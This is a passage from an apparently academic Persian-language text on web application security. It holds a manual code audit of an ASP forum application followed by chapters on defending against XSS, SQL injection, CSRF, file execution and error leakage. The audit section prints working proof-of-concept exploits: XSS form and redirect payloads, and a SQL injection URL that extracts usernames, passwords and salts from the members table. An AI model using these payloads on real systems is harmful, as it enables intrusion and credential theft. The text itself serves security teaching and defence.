  .آسيب پذير نيست ()GetUserInfobyNameقبلا ديديم كه 

  

- send-private-message.asp: 

 :33خط 

vReplyMessageInfo = Messenger.GetPrivateMessage(request.querystring("replyid")) 

  آسيب پذير نيست چرا كه اعداد كنترل مي شوند ()GetPrivateMessageمي بينيم 

 :41خط 

vMessageInfo(PM_ToName)   = 

BBS.GetUserInfobyID(request.querystring("toid"))(UI_Username). 

  ).ليل كنترل اعدادبه د(امن بوده و آسيب پذير نيست  ()GetUserInfobyIDتابع 

 ()GetUserInfobyIDيا  ()GetPrivateMessageاز اينجا به بعد هرجا كه از توابع امني چون 

  .استفاده شده باشد از آن صرف نظر كرده و در مورد آن نمي نويسيم

 :75خط 

vToString = split(request.form("toid"), "|") 

  :يعني 79مي بينيم كه اين متغير در خط 

response.write vToString(index) & "<br/>" & CRLF 

شده باشد  loginوقتي كه فرد قبلا  XSSاز نوع  اولين آسيب پذيريپس . در حال چاپ شدن است

  :آن به شكل زير است exploitوجود دارد و 

<form action="send-private-message.asp" method="post"> 

<input type="hidden" name="action" value="post" /> 
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<input type="text" name="toid" value="<script>alert('XSS')</script>" /> 

<br /> 

<input type="submit" name="" value="submit" /> 

</form> 
 :91و  90خط 

vMessageInfo(PM_Subject) = request.form("subject") 

vMessageInfo(PM_Body)    = request.form("body") 
  .مشخص است كه آسيب پذير نيست ()SendPrivateMessageبا نگاهي به تابع 

  

- view-group.asp: 

 :12خط 

iGroupID = request.querystring("gid") 

  .به دليل كنترل اعداد آسيب پذير نيستند ()ListGroupMembersو  ()GetGroupNameتوابع 

  

- view-profile.asp: 

 :12خط 

iUserID = BBS.ValidateNumeric(request.querystring("uid")) 

  .كه مي بينيم آسيب پذير نيست

  

  :مي رويم calendarحال سراغ پوشه 

  

- add-event.asp: 

 :15تا  12خط 

iCalendarID = request.querystring("calendarid") 
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sAction     = request.querystring("action") 

iEventID    = request.querystring("eventid") 

كه به وسيله . مي رويم ()GetCalendarInfoبه تابع   iCalendarIDابتدا به دنبال متغير 

ValidateNumeric() با نگاهي سريع به . محافظت مي شودHasPermission()  نيز آسيب

نگاهي  sActionحال اگر به متغير .). جا براي بررسي بيشتر وجود دارد(پذيري به چشم نمي خورد 

آخرين متغير . بياندازيم متوجه مي شويم كه فقط در شرطي ها كاربرد دارد پس آسيب پذير نيست

ر براي عددي بودن بررسي مي شود پس آسيب پذي ()GetEventInfoهم در  iEventIDيعني 

  .نيست

 :102تا  97و خطوط  86خط 

vEventInfo(CEV_Owner) = request.form("owner") 

vEventInfo(CEV_alldayevent)      = request.form("alldayevent") 

vEventInfo(CEV_timeofdayhour)    = request.form("timeofdayhour") 

vEventInfo(CEV_timeofdayminute)  = request.form("timeofdayminute") 

vEventInfo(CEV_timeofdaymeridian)= request.form("timeofdaymeridian") 

vEventInfo(CEV_AllowSignups)     = request.form("allowsignups") 

اگر در . نگاه مي كنيم ()CreateEventInfoبه . جلو مي رويم vEventInfoحال به دنبال 

FilterPost() مشكلي نباشد، آسيب پذير نيست.  

  

- calendar-view.asp: 

 :14خط 

iCAcalendarid = request("calendarid") 

  .آسيب پذير نيستند ()HasPermissionو  ()GetCalendarInfoمي بينيم كه مثل قبل 
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  :forumsپوشه 

  

- alert-post.asp: 

 :16خط 

vMessageInfo = Forum.GetMessageInfo(request("mid")) 

  .اعداد را كنترل مي كند ()GetMessageInfoتابع 

 :37خط 

vAlertInfo(AL_Message)   = trim(request.form("message")) 

  بپذيرد، چرا كه  XSSممكن است  ()CreateAlertمشخص مي شود كه تابع  vAlertInfoبه دنبال 

BBS.ValidateSQL(vAlertInfo(AL_Message))  
در تحقيقات بعدي كه روي برنامه . XSSرا مي گيرد و نه  SQL Injectionجلوي آسيب پذيري 

خنثي  XSSتست شد، مشخص مي شود كه هنگام نمايش، كدها به صورتي در مي آيند كه حمله 

  .شود

  

- attach-file.asp: 

 :14 خط

iMessageID = request.querystring("mid") 

  :مي بينيم 127با رهگيري اين متغير در خط 

SQL = "select max(sortorder) as maxsort from attachments where messageid=" & 

iMessageID 
است و امكان  Accessاز آنجايي كه ديتابيس ما . را نشان مي دهد SQL Injectionكه پتانسيل 

اما در . ماجراي چند درخواست را باهم نداريم مطمئنا نخواهيم توانست از اين آسيب پذيري استفاده كني
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. لذا اين فايل را بيشتر برسي خواهيم كرد. نيز عرضه مي شود MSSQLسايت توليد كننده ديتابيس 

  :را خواهيم داشت Exploit، اين MSSQLپس به عنوان آسيب پذيري ديگري، مشروط به 

  ):مشروط(آسيب پذيري دوم 

<form ENCTYPE="multipart/form-data" method="post" action="/forums/attach-

file.asp?action=postupload&amp;mid=[YOUR MSG ID]&amp;attachmentid= or 

1=convert(int,(select top 1 username%2bpassword%2bsalt from members where 

username<>''))"> 

File : <input type='file' name='attachment' size='40'> 

<br /> 

<input type='submit' value='Submit'> 

</form> 
  

- email-link.asp: 

 :23تا  20خطوط 

   sFromName    = request.form("fromname") 

   sRecipient   = request.form("recipient") 

   sFromAddress = request.form("fromaddress") 

وند و سپس عمليات صورت مي با دنبال كردن اين متغير ها خواهيم ديد كه اين پارامترها بررسي مي ش

اما به عنوان يك نكته منفي اين برنامه به اين نكته بايد . ندارد SQL Injectionو  XSSپذيرد پس 

مي توان يك آدرس ايميل خاص را بمباران كرد چرا  email-link.aspاشاره كرد كه به وسيله فايل 

  .كه محدوديتي در ارسال ندارد

و مشابهت زياد آنها به هم از نظر نوع محدوديت ها از اينجا به بعد فقط به دليل حجم بالاي فايل ها 

  .فايل هايي را كه آسيب پذير باشند مي آوريم
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- /profile/controlpanel.asp: 

 :291تا  257خطوط 

 تمامي ورودي ها

  :مي بينيم مقادير زير از نظر امنيتي كنترل نمي شوند ()UpdateUserبا نگاه به تابع 

SQL = SQL & " timeoffset=" & vUpdateUserInfo(UI_TimeOffset) & ", " 
SQL = SQL & " invisible=" & vUpdateUserInfo(UI_Invisible) & ", " 

بود كار بسيار ساده بود و مي توانستيم مجوز  MSSQLاگر . را پيدا كرديم آسيب پذيري سومپس 

  :كار ما به شكل زير است PoCبهر حال ! كامل مديريت را نيز بگيريم

<form method='post' name='updateprofile' action='/profile/controlpanel.asp'> 

Injection1 (Numeric Update):<input type="text" name="invisible" value="1" /><br /> 

Injection2 (Numeric Update):<input type="text" name="timeoffset" value="1" /><br /> 

<input type="hidden" name="action" value="updateinfo" /> 

<input type="hidden" name="showemail" value="1" /> 

<input type="hidden" name="usesignature" value="1" /> 

<input type="hidden" name="viewsignature" value="1" /> 

<input type="hidden" name="disablepostcount" value="1" /> 

<input type="hidden" name="userichedit" value="1" /> 

<input type="hidden" name="emailnotifications" value="1" /> 

<input type="hidden" name="sendprivatenotifications" value="1" /> 

<input type="hidden" name="includebody" value="1" /> 

<input type="hidden" name="language" value="1" /> 

<input type="hidden" name="disallowbroadcasts" value="1" /> 

<input type="hidden" name="viewavatars" value="1" /> 

<input type="submit" /> 

</form> 
مي بينيم و آسيب پذيري ها را بررسي  جاهايي كه به مجوز مديريت نيازي نباشد را adminحال پوشه 

  :مي كنيم
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- impersonate.asp: 

 :14خط 

sRedirect = request.querystring("redirect") 

  :داريم 32و در خط 

response.redirect sRedirect 

اعلام مي كنيم كه  چهارمين آسيب پذيريدر اين برنامه را به عنوان  XSSهمين جا وجود 

Exploit زير است آن به شكل:  

/admin/impersonate.asp?redirect=javascript:alert('XSS')&action=end 
  :حال نوبت به بررسي از قلم افتاده ها مي رسد

- /includes/include-poll.asp: 

 :125خط 

SQL = SQL & BBS.ValidateSQL(stOptionStruct(OI_MemberID)) & ", " 

استفاده نشده، بررسي با تابع  ‘همانطور كه مي بينيد در جايي كه در دو طرف آن از علامت 

ValidateSQL()  انجام شده كه بايد بررسي عددي مي شد نه بررسيSQL . اما چون قبل از

  .فراخواني اين فيلد در دست كاربر نيست، لذا خطرناك نيست

پذيري هاي بيشتر ادامه مي دهيم تا وقتي كه الگوريتم  اين كارها را همين طور براي پيدا كردن آسيب

  . را كامل كنيم

  :نتيجه گيري -1-2-د

اين زمان . شد كه در نوع خود رقم بالايي محسوب مي شود ساعت 15 دستي اين عمليات مدت زمان

دهاي طولاني دو علت مي تواند داشته باشد، يكي امنيت نسبي بالاي خود برنامه و ديگر آنكه خواندن ك

  .اين برنامه بسيار سخت بود
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  :خلاصه فصل. 4.3

حملات عليه برنامه هاي كاربردي تحت وب و وبسايتها در دو مرحله شناسايي و پيدا كردن آسيب 

شناسايي برنامه كاربردي تحت وب يا يك وب سايت اهميت بسيار زيادي . پذيري ها انجام مي شود

مرحله پيدا كردن آسيب پذيري ها بسيار لذت بخش تر به نظر در حاليكه شروع حمله مستقيما از . دارد

عمليات شناسايي به صورت . مي رسد، اما احتمال پيدا كردن آسيب پذيري را نيز بسيار پايين مي آورد

  .خودكار و دستي انجام مي گيرد چرا كه هنوز هيچ ابزاري توانايي جستجوي كامل را ندارد

. در دو حالت جعبه سياه و جعبه سفيد بايد به بررسي هدف پرداختبراي پيدا كردن آسيب پذيري ها  

براي خواندن كدهاي يك زبان . هر كدام از اين مراحل نيز به صورت خودكار و دستي انجام مي گيرد

خاص، براي پيدا كردن آسيب پذيري، بايد به دستورات آن زبان آشنايي داشته باشيم و به صورت 

اكثر برنامه نويسان حاضر نيستند در حالي كه برنامه . يب پذيري ها بگرديمساختار يافته به دنبال آس

هايشان به خوبي كار خود را انجام مي دهند، كدهاي برنامه هايشان را دوباره مطالعه كنند و اين 

  .چيزيست كه مهاجمان از آن بهره مي برند

  

  :منابع فصل. 5.3
1. Stuttard Dafydd, Pinto Marcus, "The Web Application Hacker's Handbook 

Discovering and Exploiting Security Flaws", Wiley Publishing Inc., 2008 

2. Open Web Application Security Project, http://www.owasp.org 

3. Http://www.bugreport.ir 

4. Http://www.securityfocus.com 

5. Http://www.milw0rm.com 
  

   



105 
 

  فصل چهارم

  :ش هاي امن سازي برنامه هاي كاربردي تحت وببررسي رو

  :امنيت وب بدون امن بودن خود برنامه دست يافتني نيست. 1.4

 .و ديگر نرم افزارهاي امنيتي مجاز شمرده مي شود 2توسط ديوار آتش HTTPهاي پروتكل  1درخواست

وب طراحي شده اند كه روي  عليههر چند اخيرا برنامه هايي فقط مخصوص جلوگيري از حملات 

اما اين گونه . سرويس دهنده نصب مي شوند و با قوانيني جلوي انجام بعضي حملات وب را مي گيرند

برنامه ها نيز ايرادات خود را دارند مثلا به علت ايجاد محدوديت هاي زياد و يا پايين آوردن سرعت 

در صورت تعريف استثنا براي  جود ندارد وارتباط امكان نصب آنها در بسياري از سرويس دهنده ها و

علاوه . بگيرند، همان نقاط خود مي توانند به اندازه كافي خطرناك باشند و مورد سوء استفاده قرار هاآن

يا حمله هاي  نمي توانند جلوي همه حملات را نظير دست كاري فيلدهاي پنهان برنامه ها اين بر اين،

به هيچ  هاآن و امكان تشخيص هستندملات درخواست هاي مجاز چرا كه اين نوع ح ،بگيرندمنطقي 

  . وجود نداردوجه 

بنابراين يك برنامه تحت وب اساسا خودش بايد امن و حفاظت شده باشد كه اين كار تنها با برنامه 

  .نويسي صحيح ممكن مي باشد

  

  

  

                                           
1 Request  
2 Firewall 
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طريق تامين امنيت برنامه كاربردي تحت وب در مقابل آسيب پذيري ها از . 2.4

  :برنامه يكدها

در اين قسمت مي خواهيم راه حل هايي مناسب جهت مقابله با آسيب پذيري هاي گفته شده در فصل 

مقابله با آسيب پذيري ها از درون برنامه مي تواند طوري باشد كه بتوان گفت يك . دوم ارائه دهيم

ف هاي منطقي كه از منطق هرچند كه با وجود ضع. امن است% 100برنامه كاربردي تحت وب به طور 

داريم و فقط مي توانيم % 100برنامه و برنامه نويس برمي خيزد، هيچگاه نمي توان ادعا كرد كه امنيت 

  .بگوييم امنيت بالايي داريم

  : Cross Site Scripting (XSS) با مقابله روش. 1.2.4

XSS  اظت در مقابل بهترين روش حف. در درون كدها مهار كرد% 100را مي توان به طورXSS 

تمام داده هاي  1براي داده هاي ورودي به علاوه رمز نگاري ”white list“استفاده از تركيب ارزيابي 

با ارزيابي داده هاي ورودي مي توان حملات را آشكار كرد و با رمز كردن خروجي ها . خروجي مي باشد

توجه داشته باشيد منظور از رمز . نيز جلوي اجراي موفق اسكريپت هاي تزريق شده گرفته مي شود

نيز كمك مي كند تا انواع  XSSخواندن صفحه ترفندهاي . كردن است Encodeكردن در اينجا همان 

  .2شكل هاي اين حمله را بشناسيد

  :اجراي روند زير به طور كامل نياز است XSSبراي جلوگيري از حمله 

سنجي استاندارد در تمامي ورودي ها براي اندازه،  استفاده از مكانيزم هاي اعتبار: ارزيابي ورودي ها -

استفاده از . قبل از اينكه داده ها نمايش پيدا كنند يا ذخيره شوندنوع، تركيب و طرز كاربرد آنها 

مثلا فيلد ايميل حتما بايد از نوع ايميل باشد كه ( ”Accept known good“استراتژي ارزيابي 

                                           
1 Encoding 
2 http://ha.ckers.org/xss.html   -   http://sla.ckers.org/forum/read.php?2,15812   -   
http://sla.ckers.org/forum/read.php?3,880 
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نپذيرفتن داده هاي غير معتبر به جاي تلاش در ).  باهم دارندي كاراكترهاي خاصي دارد و تركيب خاص

فراموش نكنيد كه پيغام هاي خطا نيز مي توانند شامل داده هاي غير . تجزيه يا حذف داده هاي مخرب

  .معتبر باشند، پس به آنها نيز اعتماد نكنيد

اي كاربر به طور مطمئن شويد كه قبل از نمايش، تمام داده ه: رمزي كردن قوي خروجي ها -

و اين كار را براي ) بسته به نوع خروجي XMLو هم  HTMLهم در (مناسب رمزي شده باشند 

 . تمامي كاراكترها حتي آنهايي كه محدوديت خاصي دارند انجام دهيد

نظير  Encodingبراي تمامي صفحات خروجي از : خروجي Encodingمشخص كردن نوع  -

)ISO 8859-1  ياUTF 8 ( استفاده كنيد تا در معرض خطر كمتري قرار بگيريد و اجازه ندهيد

  .را مشخص كند Encodingمهاجم خودش نوع 

در داده هاي ورودي و  XSSبراي تشخيص حمله : استفاده نكنيد ”Blacklist“از ارزيابي  -

و  "<"يا  ">"مانند (جستجو و جايگذاري كاراكترهاي اندك . خروجي از اين ارزيابي استفاده نكنيد

. باز هم حمله كرد XSSبسيار ضعيف است و مي توان با  )"script"كاراكترهاي شبيه يا عباراتي نظير 

انواع مختلف و شكل  XSS. در برخي جاها مي تواند غير امن باشد "<b>"حتي تگ كنترل نشده 

  .هاي زيادي دارد كه مي توان با آن اين اعتبارسنجي ها را رد كرد

ورودي ها بايد ابتدا رمزگشايي و استاندارد شوند قبل از : اهاي اعتبار سنج ها باشيدمراقب خط -

مطمئن شويد كه برنامه كاربردي يك ورودي را بيشتر از يك بار . اينكه به مرحله اعتبار سنجي برسند

ار اين خطاها مي تواند باعث شود كه در برخي شرايط ورودي بعد از رد كردن اعتب. رمز گشايي نكند

  .سنجي، دوباره رمزگشايي گردد و شامل داده هاي مخرب و كنترل نشده باشد

توانيد  يم ASPدر زبان : URLEncodeو  HTMLEncodeاستفاده از : ASPدر زبان  -

  :براي نمايش خروجي ها از دستورات زير استفاده كنيد
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Response.Write(Server.HTMLEncode(...)) 

Response.Write(Server.URLEncode(...)) 

  اي

<%=Server.HTMLEncode(...)%> 

<%=Server.URLEncode(...)%> 

  :و سعي كنيد هيچگاه از دستورات زير استفاده نكنيد

Response.Write(...) 

<%=...%> 

  .شود XSSچرا كه مي تواند باعث حمله 

نظير : استفاده كنيد Strutsسعي كنيد از مكانيزم هاي خروجي هاي : Javaدر زبان  -

<bean:write…>  يا از ويژگي پيش فرضJSTL escapeXML="true"  در<c:out…> 

  .به صورت مستقيم و بدون رمزي كردن استفاده نكنيد <%…=%>هيچ گاه از . استفاده كنيد

  

  :Injection Flaws با مقابله روش. 2.2.4

اگر لازم است كه از يك . كند عدم استفاده از مفسرها تا حد امكان به دفع اين حمله كمك شاياني مي

  .هاي امن است 1APIمفسر نيز استفاده كنيد، يك روش كليدي براي پرهيز از اين حمله استفاده از 

اگر چه اين راه حل مشكل را حل مي كند اما ارزيابي ورودي ها هنوز براي آشكار كردن حملات توصيه 

  :مي شود، پس مطابق زير عمل كنيد

استفاده از مكانيزم هاي اعتبار سنجي استاندارد در تمامي ورودي ها براي اندازه، : ارزيابي ورودي ها -

استفاده از . قبل از اينكه داده ها نمايش پيدا كنند يا ذخيره شوندنوع، تركيب و طرز كاربرد آنها 

                                           
1 Application Programming Interface 
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مثلا فيلد ايميل حتما بايد از نوع ايميل باشد كه ( ”Accept known good“استراتژي ارزيابي 

نپذيرفتن داده هاي غير معتبر به جاي تلاش در ).  باهم دارنداراكترهاي خاصي دارد و تركيب خاصي ك

فراموش نكنيد كه پيغام هاي خطا نيز مي توانند شامل داده هاي غير . تجزيه يا حذف داده هاي مخرب

  .معتبر باشند، پس به آنها نيز اعتماد نكنيد

براي ارتباط با پايگاه داده يا سيستم هاي طرف سرويس : 1زاتاجبار در استفاده از كمترين امتيا -

از  MSSQLبراي نمونه، هيچ گاه در ارتباط با . بيشترين محدوديت استفاده كنيد بادهنده از كاربري 

  .در ويندوز است Systemاستفاده نكنيد، چرا كه قدرت آن به اندازه كاربر  SAكاربر 

  .كه به مهاجم كمك زيادي مي كند: اخط پيغام پرهيز از نمايش جزئيات -

 SQLگرچه رويه هاي ذخيره شده در مقابل : 2براي استفاده از رويه هاي ذخيره شده توجه -

Injection  مصون به نظر مي رسند، اما توجه كنيد كه اگر در آنها از توابعي مانندexec()  يا بهم

  .دپيوستن آرگومان ها استفاده شده باشد، بازهم آسيب پذيرن

  .و مانند آن ()mysql_queryنظير : 3از واسط هاي پرس و جوي پويا مستقيم عدم استفاده -

  :مثل: عدم استفاده از توابع ساده جايگزيني كاراكترها -

Replace(InputData,"'"," ") 
  .چرا كه اين توابع ساده در برخي جاها قابل رد شدن هستند

وقتي از توابع ساده كنترل استفاده مي  از وروديعدم گرفتن مستقيم نام جدول يا فيلدها  -

  .نداشته و مهاجم مي تواند حمله كاملي را طرح ريزي كند "’"ه چرا كه اين نام ها نيازي ب: كنيد

ورودي ها بايد ابتدا رمزگشايي و استاندارد شوند قبل از : مراقب خطاهاي اعتبار سنج ها باشيد -

مطمئن شويد كه برنامه كاربردي يك ورودي را بيشتر از يك بار  .اينكه به مرحله اعتبار سنجي برسند
                                           

1 Privilege 
2 Stored procedures 
3 dynamic query interfaces 
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اين خطاها مي تواند باعث شود كه در برخي شرايط ورودي بعد از رد كردن اعتبار . رمز گشايي نكند

  .سنجي، دوباره رمزگشايي گردد و شامل داده هاي مخرب و كنترل نشده باشد

همواره مينيمم سيستم مورد : داده ي پايگاهسرويس دهنده ها مانند سرويس هامحدود سازي  -

براي نمونه سعي كنيد رويه هاي ذخيره شده پيش فرض خطرناك و استفاده نشده . نياز را داشته باشيد

، از پايگاه داده حذف MSSQLدر  XP_CmdShellرا كه به مهاجم كمك زيادي مي كنند، مانند 

هيچ دليلي ندارد كه آن را روي سرويس دهنده فعال در واقع وقتي از چيزي استفاده نمي كنيد، . كنيد

  .نگاه داريد

چون در اين زبان معمولا از مفسر استفاده مي شود، : استفاده از توابع بازدارنده: ASPدر زبان  -

توجه كنيد كه هيچ گاه يك عبارت را حذف . نياز به توابع كنترلي قدرتمند دست ساز احساس مي شود

تابع زير يك مثال براي جلوگيري از . را جايگزين كنيد تا باعث آسيب پذيري نگرددنكنيد، بلكه تنها آن 

توجه كنيد كه اين تابع جلوي حملات ساده : (را نشان مي دهد ASPدر  SQL Injectionحمله 

XSS را نيز مي گيرد(  



111 
 

  
يا  Hibernateهايي نظير ORMيا  PreparedStatementقويا از نوع : Java EEدر زبان  -

Spring استفاده كنيد.  

  

  :Malicious File Execution با مقابله روش. 3.2.4

پرهيز از خطاهاي اجراي فايل از راه دور نيازمند نقشه اي دقيق در فاز معماري و طراحي به صورت 

به طور كلي، يك برنامه كاربردي كه خوب نوشته شده باشد، از داده هاي كاربر به . مرحله به مرحله دارد

و  XMLفايل هاي تصاوير، فايلهاي   مانند(ان نام فايل ورودي يا هر منبع طرف سرويس دهنده اي عنو

XSL استفاده نمي كند و همچنين ديوار آتش با قوانيني كه دارد از ارتباطات جديد به ) و مانند آن

  .اينترنت يا ساير سرويس دهنده ها جلوگيري ميكند

  :ها توجه كنيم عبارتند از به صورت كلي چيزهايي كه بايد به آن
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براي مثال نام فايلي را كه مي خواهد استفاده : استفاده از مسيرهاي غير مستقيم به يك شي -

براي جلوگيري از (آن با يك كليد از قبل تنظيم شده  MD5شود مستقيم ننويسيم و از درهم شده 

Brute force يلها درست مي كنيم و با استفاده در واقع جدولي از نام فا. استفاده كنيم) و حدس زدن

در كنار اين . از يك پارامتر كنترل شده ديگر كه قابل حدس زدن نباشد، به نام فايل ها اشاره مي كنيم

  .بايد ورودي ها را نيز ارزيابي كنيم تا از تغيير پارامترها جلوگيري كنيم

استفاده از توابعي كه صحت نام يك فايل را با استفاده : استفاده از مكانيزم هاي بررسي نام فايل -

اعلام مي كند و قوانيني براي جلوگيري از دسترسي به فايل " Accept known good"از استراتژي 

مثلا اين تابع مي تواند علاوه بر تاييد درستي نام يك فايل، . هاي مهم دارد، اكيدا پيشنهاد مي شود

  .يز كنترل كندپسوند درخواستي فايل را ن

براي جلوگيري از ارتباط سرويس دهنده وب با اينترنت يا سرويس دهنده : استفاده از ديوار آتش -

براي سيستم هاي با ارزش بالا، ايزوله كردن سرويس دهنده وب از . هاي ديگر داخلي پيشنهاد مي شود

  .خصوصي، پيشنهاد مي شود subnetخاص يا يك  VLANساير منابع در يك 

ها يا تصاوير PDF1در جاهايي كه فايل هاي كاربران را مي پذيرند مانند : بررسي فايلها و نام فايلها -

  .بايد كنترل دقيقي بر نام فايل ها و همچنين پسوند آنها و نيز محتويات آنها وجود داشته باشد

بدان معني كه برنامه ها را از : sand boxيا مكانيزم هاي  chroot jailپياده سازي يك  -

 uploadيكديگر و منابع سيستم ايزوله نگه داريد تا مهاجمان نتوانند به ساير منابع حتي در صورت 

هاي از فايل) Execute(فايل ها، اجازه اجرا  uploadضمن اينكه در محل . فايل دسترسي پيدا كنند

upload شده، بايد گرفته شده باشد.  

  

                                           
1 Portable Document Format 
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با اين كار : سرويس دهنده خود را به روز نگه داريد ديوار آتش و كش ها وسهميشه ويرو -

جلوي اجراي سو استفاده هاي احتمالي آشكار شده از سرويس دهنده و برنامه كاربردي تحت وب تا حد 

  .زيادي گرفته مي شود

، IISر تنظيمات ضمن اينكه د. قوانيني كه در بالا گفته شد براي اين زبان كافي مي باشند: ASPدر  -

يك كاربر خاص براي اجراي هر سايت تعريف كنيد كه فقط به پوشه هاي همان سايت خاص مجوز 

اين كاربر . خودداري كنيد) IUSR(دسترسي داشته باشد و از اجراي سايت ها با كاربر پيش فرض 

يت هاي ويندوز نيز بايد از محدود) Group Policy(تعريف شده، در تنظيم سياست هاي گروهي 

  .پيروي كند) Guestيا  IUSR(كاربر پيش فرض 

را فعال كنيد تا از دسترسي فايل ها به خارج از پوشه ريشه  Java EEمديريت امنيت : Javaدر  -

 .استفاده نكنيد FileServletهمچنين هيچگاه از پيش فرض . وب جلوگيري كند

 

  :Insecure Direct Object Reference با مقابله روش. 4.2.4

اگر هم مسير مستقيم . بهترين روش مقابله با اين آسيب پذيري، استفاده از مسيرهاي غيرمستقيم است

استفاده از روش . به يك شي مورد نياز است، مطمئن شويد كه كاربر اجازه استفاده از آن را داشته باشد

ي كه بايد در اينجا كنترل موارد. ، در قسمت قبل توضيح داده شديك شيم به ير مستقيغ يرهايمس

  :شوند عبارتند از

تا جايي كه امكان دارد بايد از : پرهيز از نشان دادن مسير مستقيم يك شي محرمانه به كاربران -

  .چيزهايي مانند نام فايل ها يا كليدهاي اصلي به صورت مستقيم استفاده نشود

 "Accept known good" استفاده از روند: به يك شي محرمانه هاعتبار سنجي مراجع -

  .شودپيشنهاد مي 
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سنجش اجازه هاي يك كاربر در مراجعه به همه اشيا موجود : بررسي اجازه داشتن براي همه  اشيا -

  .بايد انجام شود

و مانند آنها بررسي  /..يا  00%ورودي ها بايد براي نداشتن كاراكترهايي نظير : بررسي ورودي ها -

  .شوند

استفاده از پارامترهاي كنترلي براي جلوگيري از دستكاري ورودي : ترهاي كنترلياستفاده از پارام -

با يك كليد محرمانه كه  MD5اين كار مي تواند توسط يك رشته درهم مثلا . ها پيشنهاد مي شود

  .قابل حدس زدن نباشد، در پارامترهاي ورودي انجام گردد تا از صحت ورودي ها اطمينان حاصل شود

  

  :Cross Site Request Forgery با مقابله روش. 5.2.4

برنامه هاي كاربردي بايد مطمئن گردند كه تنها برپايه اعتبارنامه هايي كه به صورت خودكار از 

تنها راه حل اين حمله، استفاده از كليد رمزي است كه به . مرورگرها ثبت مي شوند استوار نيستند

  .مي شود و مرورگر نيز نمي تواند آن را به ياد بياوردصورت سفارشي و تصادفي براي هركس ساخته 

  :استراتژي هاي زير براي برنامه هاي كاربردي تحت وب پيشنهاد مي شوند

علت اين موضوع در فصل دوم در : ندارد XSSمطمئن شدن از اينكه برنامه آسيب پذيري  -

  .آمده است CSRFقسمت توضيح 

اين كليد : formيا يك  URLادفي به هر آدرس وارد كردن كليدهاي رمزي سفارشي و تص -

. رمزي به صورت خودكار توسط مرورگر فرستاده نمي شود و نيز مرورگر نمي تواند آن را به ياد بياورد

  :زير يك مثال در همين زمينه را نشان مي دهند HTMLكدهاي 

<form action="/transfer.do" method="post"> 

<input type="hidden" name="8438927730" value="43847384383"> 

… 
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</form> 

  

اين كار به منظور : مجدد براي انجام درخواست هاي حساس signingاعتبار سنجي دوباره يا  -

حتي مي توان براي مطمئن شدن از حقيقي بودن درخواست، از . حقيقي بودن درخواست انجام مي شود

  .يا پيام كوتاه به تلفن همراه كاربر استفاده كردمكانيزم هاي خارجي نظير فرستادن يك ايميل 

براي پردازش داده : )URLبا استفاده از ( GETعدم پذيرش درخواست هاي حساس با متد  -

با اين . انجام مي شود، استفاده كنيد form، كه از طريق يك POSTهاي حساس كاربر، تنها از متد 

هدف، مي تواند شامل يك رشته رمزي تصادفي و سفارشي براي جلوگيري از اجراي  URLحال، آدرس 

  .باشد CSRFحمله 

همانطور كه قبلا گفته شد بايد : ظت موثري نيستاحف POSTفرستادن اطلاعات تنها با متد  -

  .هدف، از يك رشته رمزي تصادفي و سفارشي استفاده كرد URLدر آدرس 

اگرچه اين پارامتر نيز به سادگي قابل تغيير است، اما به عنوان يك : Referrerاستفاده از پارامتر  -

در اين حالت، با كنترل اين پارامتر از همان ابتدا، . روش كمكي در كنار روش هاي ديگر توصيه مي شود

  .مي توان درخواست هاي مخرب را نپذيرفت و از گذاشتن بار اضافي روي سرويس دهنده خودداري كرد

استفاده از پارامترهاي كنترلي براي جلوگيري از دستكاري ورودي : ده از پارامترهاي كنترلياستفا -

با يك كليد محرمانه كه  MD5اين كار مي تواند توسط يك رشته درهم مثلا . ها پيشنهاد مي شود

  .قابل حدس زدن نباشد، در پارامترهاي ورودي انجام گردد تا از صحت ورودي ها اطمينان حاصل شود

كمك  org.apache.struts2.components.Tokenمي توان از  Strutsدر : Javaدر زبان  -

  .گرفت

  

  :Information Leakage and Improper Error Handling با مقابله روش. 6.2.4
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، OWASP’s WebScarabبراي مقابله با اين آسيب پذيري علاوه بر بررسي برنامه با ابزاري مانند 

  :ي زير استفاده كردبايد از روش ها

با خطاها، از يك روش  مواجههمطمئن شويد تمام گروه توسعه دهندگان نرم افزار در  -

  .مشترك استفاده مي كنند

مخصوصا اطلاعات اشكال زدايي و نشانه هاي : غيرفعال يا محدود كردن جزئيات رفع اشكال -

  .و اطلاعات مسير فايل ها، نبايد به كاربر نهايي نشان داده شوند 1پشته

يا  تلفي مي كنند، پيغام هاي خطاي مساويمطمئن شويد كه مسيرهاي امن كه كارهاي مخ -

براي نمونه در صورت درست نبودن چه نام كاربري و چه رمز : نشان دهند و در زمان مساوي مشابه

-اگر پياده همچنين .را نشان دهد "The username or password is not correct"پيغام عبور 

سازي ميزان زمان مساوي مقدور نيست، سعي كنيد از يك زمان تصادفي براي انجام همه تبادلات 

  .استفاده كنيد تا مهاجم اطلاعات خاصي از طريق مقدار زمان، دريافت نكند

براي نمونه اگر از : خطا غير فعال باشدبراي تمامي لايه هاي اجرايي بايد نشان دادن جزئيات  -

IIS  وMSSQL  استفاده مي كنيد، بايد هر دو را طوري تنظيم كنيد كه جزئيات خطا را نمايش

  .ندهند

بدين صورت ديگر : ساخت يك صفحه كه در موقع رخ دادن همه نوع خطا آن را نمايش دهد -

بيشتر برنامه هاي خودكار در تشخيص خطا مهاجم نمي تواند از رخ دادن خطا اطلاع دقيق كسب كند و 

براي نمونه مهاجم ديگر نمي تواند بفهمد كه يك فايل خاص روي سايت مورد نظر . متوقف خواهند شد

علاوه بر اينها با اين عمل مي توان خطاي اتفاق افتاده را ثبت كرد تا وقوع حمله يا . وجود دارد يا خير

  .پتانسيل وقوع حمله آشكار شود

                                           
1 Stack traces 
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: "security through obscurity"براي امنيت  استفاده از تكنيك هاي مبهم سازي -

بدين منظور اشكال زداي برنامه را طوري تنظيم مي كنيم كه در هر حالت با وقوع هر نوع خطايي، 

به اين ترتيب بسياري از برنامه هاي . كه به معني عدم رخ دادن خطا است را برگرداند ”200“مقدار 

  .خودكار جستجوي آسيب پذيري، حتي اگر خطاي مهمي اتفاق بيفتد، متوجه نخواهند شد

بسياري از سازمان هاي بزرگ : امنيت را كمتر مي كند استفاده از پيغام هاي خطاي تصادفي -

وجود آمده، كاربر را به صفحه اي مي برند و يك پيغام خطاي تصادفي و واحد  براي پيگيري خطاي به

با اين كار گرچه نفوذگر و برنامه هاي خودكار علت وقوع خطا را نمي فهمند، . به وي نمايش مي دهند

  .اما به وجود آمدن خطا را مي توانند شناسايي كنند

يا  HTTP 200رت وقوع خطا همواره مقدار مطمئن شويد كه برنامه كاربردي در صو: مهمتوصيه  -

HTTP 302 را برميگرداند.  

  

